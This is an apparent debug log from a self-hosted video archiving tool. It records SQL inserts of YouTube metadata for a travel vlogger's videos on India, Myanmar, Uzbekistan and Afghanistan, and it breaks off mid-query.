19:30:27.432 [debug] QUERY OK source="media_items" db=0.6ms idle=2.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nPlease subscribe to Renny's Channel he is nearly at 100k! - https://www.youtube.com/@UCTC2TdtxGyqkJuyGJELvFEA \n\nLook. I get it. Is india perfect? No. But, is anywhere? And what kind of world would we be living in if everywhere was the same. \n\nAnd I get its not for everyone. But I like it there. And if even one person can watch this video and go to india because of it. Ill consider this a success.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#india #vlog #travel", "They're Lying to You About India...", "5abc7d7d-ffa3-45f7-a8af-946d5cfb7e1d", "W4ZERiu8IMs", 2973, false, "https://www.youtube.com/watch?v=W4ZERiu8IMs", 14, "/downloads/shows/Mike Okay/Season 2026/s2026e013100 - They're Lying to You About India....mp4", false, false, false, 3, [], 98, ~U[2026-01-31 14:53:48Z], ~U[2026-08-20 02:30:27Z], ~U[2026-08-20 02:30:27Z], "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nPlease subscribe to Renny's Channel he is nearly at 100k! - https://www.youtube.com/@UCTC2TdtxGyqkJuyGJELvFEA \n\nLook. I get it. Is india perfect? No. But, is anywhere? And what kind of world would we be living in if everywhere was the same. \n\nAnd I get its not for everyone. But I like it there. And if even one person can watch this video and go to india because of it. Ill consider this a success.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#india #vlog #travel", "They're Lying to You About India...", "W4ZERiu8IMs", 2973, false, "https://www.youtube.com/watch?v=W4ZERiu8IMs", "/downloads/shows/Mike Okay/Season 2026/s2026e013100 - They're Lying to You About India....mp4", false, 3, ~U[2026-01-31 14:53:48Z]] 19:30:27.433 [debug] QUERY OK source="sources" db=0.1ms idle=2.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:30:27.433 [debug] QUERY OK source="media_items" db=0.2ms idle=2.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-22 16:12:19Z], 3] 19:30:27.434 [debug] QUERY OK source="media_items" db=0.6ms idle=2.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Check out Roving's Channel Here! https://www.youtube.com/@UCxjeFUx3OfDGYGjG8Nh6PzQ \n\nThe India–Myanmar border was not drawn by local communities. It was a British imperial boundary, formalised in the 19th and early 20th centuries, primarily for administrative convenience and strategic control.\n\nCome with me as I travel to the very edge of India. To see what life is like on this fascinating border\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#myanmar #india #border", "Overnight on Myanmar's Forbidden Border", "e19ffbda-c5b5-4a03-b270-a093da0d14fb", "bBxtc-Tskto", 2343, false, "https://www.youtube.com/watch?v=bBxtc-Tskto", 15, "/downloads/shows/Mike Okay/Season 2026/s2026e012200 - Overnight on Myanmar's Forbidden Border.mp4", false, false, false, 3, [], 98, ~U[2026-01-22 16:12:19Z], ~U[2026-08-20 02:30:27Z], ~U[2026-08-20 02:30:27Z], "Check out Roving's Channel Here! https://www.youtube.com/@UCxjeFUx3OfDGYGjG8Nh6PzQ \n\nThe India–Myanmar border was not drawn by local communities. It was a British imperial boundary, formalised in the 19th and early 20th centuries, primarily for administrative convenience and strategic control.\n\nCome with me as I travel to the very edge of India. To see what life is like on this fascinating border\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#myanmar #india #border", "Overnight on Myanmar's Forbidden Border", "bBxtc-Tskto", 2343, false, "https://www.youtube.com/watch?v=bBxtc-Tskto", "/downloads/shows/Mike Okay/Season 2026/s2026e012200 - Overnight on Myanmar's Forbidden Border.mp4", false, 3, ~U[2026-01-22 16:12:19Z]] 19:30:27.435 [debug] QUERY OK source="sources" db=0.1ms idle=2.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:30:27.435 [debug] QUERY OK source="media_items" db=0.2ms idle=2.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-19 16:34:02Z], 3] 19:30:27.436 [debug] QUERY OK source="media_items" db=0.6ms idle=2.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nQudrats insta - https://www.instagram.com/qudratreyimov/\n\nKarakalpakstan is a region most people have never heard of.. yet it was once legally allowed to become its own country...\n\nThanks to the wonderful team who turned my crazy Airalo ad idea to a reality in one day\nhttps://www.instagram.com/bahoaaa/\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#uzbekistan #sovietunion #travel", "Inside the Country that Almost Existed", "d4e51d29-5040-4528-882c-5ab5825dcf49", "oiGyXylltRE", 1857, false, "https://www.youtube.com/watch?v=oiGyXylltRE", 16, "/downloads/shows/Mike Okay/Season 2025/s2025e121900 - Inside the Country that Almost Existed.mp4", false, false, false, 3, [], 98, ~U[2025-12-19 16:34:02Z], ~U[2026-08-20 02:30:27Z], ~U[2026-08-20 02:30:27Z], "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nQudrats insta - https://www.instagram.com/qudratreyimov/\n\nKarakalpakstan is a region most people have never heard of.. yet it was once legally allowed to become its own country...\n\nThanks to the wonderful team who turned my crazy Airalo ad idea to a reality in one day\nhttps://www.instagram.com/bahoaaa/\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#uzbekistan #sovietunion #travel", "Inside the Country that Almost Existed", "oiGyXylltRE", 1857, false, "https://www.youtube.com/watch?v=oiGyXylltRE", "/downloads/shows/Mike Okay/Season 2025/s2025e121900 - Inside the Country that Almost Existed.mp4", false, 3, ~U[2025-12-19 16:34:02Z]] 19:30:27.436 [debug] QUERY OK source="sources" db=0.1ms idle=3.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:30:27.437 [debug] QUERY OK source="media_items" db=0.2ms idle=2.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-05 16:36:44Z], 3] 19:30:27.438 [debug] QUERY OK source="media_items" db=0.6ms idle=2.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Once, the Aral Sea was one of the largest lakes on Earth. Today, it’s a dried-up desert filled with abandoned Soviet shipwrecks, rusting on sand where waves used to hit. In this video, I travel to the Aral Sea region to see what’s left, meet people who still live here, and spend the night inside a Soviet shipwreck that hasn’t touched water in decades.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "Drunk Camping in an Abandoned Soviet Ghost Ship", "3d536d8a-fab6-4ed8-b3ad-57291f0648fe", "XaO_IcYqzRs", 1552, false, "https://www.youtube.com/watch?v=XaO_IcYqzRs", 17, "/downloads/shows/Mike Okay/Season 2025/s2025e120500 - Drunk Camping in an Abandoned Soviet Ghost Ship.mp4", false, false, false, 3, [], 98, ~U[2025-12-05 16:36:44Z], ~U[2026-08-20 02:30:27Z], ~U[2026-08-20 02:30:27Z], "Once, the Aral Sea was one of the largest lakes on Earth. Today, it’s a dried-up desert filled with abandoned Soviet shipwrecks, rusting on sand where waves used to hit. In this video, I travel to the Aral Sea region to see what’s left, meet people who still live here, and spend the night inside a Soviet shipwreck that hasn’t touched water in decades.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "Drunk Camping in an Abandoned Soviet Ghost Ship", "XaO_IcYqzRs", 1552, false, "https://www.youtube.com/watch?v=XaO_IcYqzRs", "/downloads/shows/Mike Okay/Season 2025/s2025e120500 - Drunk Camping in an Abandoned Soviet Ghost Ship.mp4", false, 3, ~U[2025-12-05 16:36:44Z]] 19:30:27.438 [debug] QUERY OK source="sources" db=0.1ms idle=3.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:30:27.439 [debug] QUERY OK source="media_items" db=0.2ms idle=2.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-21 16:11:38Z], 3] 19:30:27.440 [debug] QUERY OK source="media_items" db=0.8ms idle=2.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nThe wonderful music in this video was kindly provided by Khalil Salahshor. Ali played the song you are listening to in the truck. It was such beautiful sounds so I reached out to Khalil and he agreed to let me use it in the video. follow him here https://www.instagram.com/khalil_salahshor22/\n\nCheck out Khalil here: https://www.youtube.com/@UCnDaJ9daevNM4UeKqDE-kOw \n\nWelcome back to Afghanistan. I never know what to write in this descriptions. Ummmmm. In this video I spend days in a truck. Thats more or less it. The real impressive thing here is that I managed to make 3 days in a truck engaging. I'm amazing. Just kidding. I am though. \n\nHeres a generic thing that talks about coal mines truck routes in Afghanistan:\n\nEvery day, Afghan truck drivers risk their lives hauling coal through the Hindu Kush, navigating deadly cliffs, overloaded trucks, freezing passes and zero infrastructure. In this video, I join the drivers who keep this remote part of Afghanistan alive, to show what life is really like on these coal roads.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #afghan #travel", "Crossing Afghanistan's Deadly Coal Mine Route", "67ab1183-bd9c-4dd2-a2b8-1b6896531de5", "TePUvifOHbk", 2619, false, "https://www.youtube.com/watch?v=TePUvifOHbk", 18, "/downloads/shows/Mike Okay/Season 2025/s2025e112100 - Crossing Afghanistan's Deadly Coal Mine Route.mp4", false, false, false, 3, [], 98, ~U[2025-11-21 16:11:38Z], ~U[2026-08-20 02:30:27Z], ~U[2026-08-20 02:30:27Z], "Go to https://ground.news/mike to cut through the noise and stay better informed. Subscribe through my link to get 40% off the unlimited access Vantage subscription this month only.\n\nThe wonderful music in this video was kindly provided by Khalil Salahshor. Ali played the song you are listening to in the truck. It was such beautiful sounds so I reached out to Khalil and he agreed to let me use it in the video. follow him here https://www.instagram.com/khalil_salahshor22/\n\nCheck out Khalil here: https://www.youtube.com/@UCnDaJ9daevNM4UeKqDE-kOw \n\nWelcome back to Afghanistan. I never know what to write in this descriptions. Ummmmm. In this video I spend days in a truck. Thats more or less it. The real impressive thing here is that I managed to make 3 days in a truck engaging. I'm amazing. Just kidding. I am though. \n\nHeres a generic thing that talks about coal mines truck routes in Afghanistan:\n\nEvery day, Afghan truck drivers risk their lives hauling coal through the Hindu Kush, navigating deadly cliffs, overloaded trucks, freezing passes and zero infrastructure. In this video, I join the drivers who keep this remote part of Afghanistan alive, to show what life is really like on these coal roads.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #afghan #travel", "Crossing Afghanistan's Deadly Coal Mine Route", "TePUvifOHbk", 2619, false, "https://www.youtube.com/watch?v=TePUvifOHbk", "/downloads/shows/Mike Okay/Season 2025/s2025e112100 - Crossing Afghanistan's Deadly Coal Mine Route.mp4", false, 3, ~U[2025-11-21 16:11:38Z]] 19:30:27.440 [debug] QUERY OK source="sources" db=0.1ms idle=3.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:30:27.441 [debug] QUERY OK source="media_items" db=0.2ms idle=2.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-07 16:35:39Z], 3] 19:30:27.443 [debug] QUERY OK source="media_items" db=2.3ms idle=2.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Things don't always go to plan. I think this why I've been loving this trip so much. Nothing has gone to plan. This route has already taught me so much. But it's always scared me. In this video I'll find myself stranded in an Afghan mountain town. The only way I can get out is by striking a deal with the taliban.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #afghan #travel", "Afghanistan Broke Me..", "510a1968-90ad-4e20-9eee-90f22d224337", "_uOW3KGPqtA", 2078, false, "https://www.youtube.com/watch?v=_uOW3KGPqtA", 19, "/downloads/shows/Mike Okay/Season 2025/s2025e110700 - Afghanistan Broke Me...mp4", false, false, false, 3, [], 98, ~U[2025-11-07 16:35:39Z], ~U[2026-08-20 02:30:27Z], ~U[2026-08-20 02:30:27Z], "Things don't always go to plan. I think this why I've been loving this trip so much. Nothing has gone to plan. This route has already taught me so much. But it's always scared me. In this video I'll find myself stranded in an Afghan mountain town. The only way I can get out is by striking a deal with the taliban.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #afghan #travel", "Afghanistan Broke Me..", "_uOW3KGPqtA", 2078, false, "https://www.youtube.com/watch?v=_uOW3KGPqtA", "/downloads/shows/Mike Okay/Season 2025/s2025e110700 - Afghanistan Broke Me...mp4", false, 3, ~U[2025-11-07 16:35:39Z]] 19:30:27.444 [debug] QUERY OK source="sources" db=0.1ms idle=4.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 19:30:27.444 [debug] QUERY OK source="media_items" db=0.1ms idle=4.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-24 16:01:41Z], 3] 19:30:27.445 [debug] QUERY OK source="media_items" db=0.8ms idle=3.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM!\n\nThis video marks the first in a 3 vid special. When I entered Afghanistan through Ubzekistan this month, I found a really interesting road on a map. So I decided to travel it. Of course it wasn't that simple! \n\nOnce upon a time, Afghanistan was the ultimate stop on the 1970s Hippie Trail. a place of freedom, music, and discovery. Fifty years later, I return to a country scarred by war and isolation, to see what’s left.\n\nenjoy, mike x\n\n--------\n\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #uzbekistan #travelblog \n\n🎵 Music licensed from Lickd. The biggest mainstream and stock music platform for content creators.\n\nSpirit In The Sky (Deluxe Edition) by Norman Greenbaum, https://t.lickd.co/bp0P2AmBQzA License ID: enDOb462m5Q\n\nIf you want to use music from famous artists, try Lickd to get track credits and unlimited stock music: https://go.lickd.co/soundtrack-your-videos", "Entering Taliban Controlled Afghanistan in 2025", "61a34f3a-1cd5-45c9-8d79-b314e66bc84d", "qsNwYzAylcU", 2177, false, "https://www.youtube.com/watch?v=qsNwYzAylcU", 20, "/downloads/shows/Mike Okay/Season 2025/s2025e102400 - Entering Taliban Controlled Afghanistan in 2025.mp4", false, false, false, 3, [], 98, ~U[2025-10-24 16:01:41Z], ~U[2026-08-20 02:30:27Z], ~U[2026-08-20 02:30:27Z], "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM!\n\nThis video marks the first in a 3 vid special. When I entered Afghanistan through Ubzekistan this month, I found a really interesting road on a map. So I decided to travel it. Of course it wasn't that simple! \n\nOnce upon a time, Afghanistan was the ultimate stop on the 1970s Hippie Trail. a place of freedom, music, and discovery. Fifty years later, I return to a country scarred by war and isolation, to see what’s left.\n\nenjoy, mike x\n\n--------\n\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #uzbekistan #travelblog \n\n🎵 Music licensed from Lickd. The biggest mainstream and stock music platform for content creators.\n\nSpirit In The Sky (Deluxe Edition) by Norman Greenbaum, https://t.lickd.co/bp0P2AmBQzA License ID: enDOb462m5Q\n\nIf you want to use music from famous artists, try Lickd to get track credits and unlimited stock music: https://go.lickd.co/soundtrack-your-videos", "Entering Taliban Controlled Afghanistan in 2025", "qsNwYzAylcU", 2177, false, "https://www.youtube.com/watch?v=qsNwYzAylcU", "/downloads/shows/Mike Okay/Season 2025/s2025e102400 - Entering Taliban Controlled Afghanistan in 2025.mp4", false, 3, ~U[2025-10-24 16:01:41Z]] 19:30:27.446 [debug] QUERY OK source="sources" db=0.1ms idle=4.7ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-08-20 02:30:27Z], ~U[2026-08-20 02:30:27Z], 3] 19:30:27.446 [debug] QUERY OK source="media_items" db=0.3ms idle=2.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 19:30:27.447 [debug] QUERY OK source="media_items" db=0.2ms idle=2.7ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND 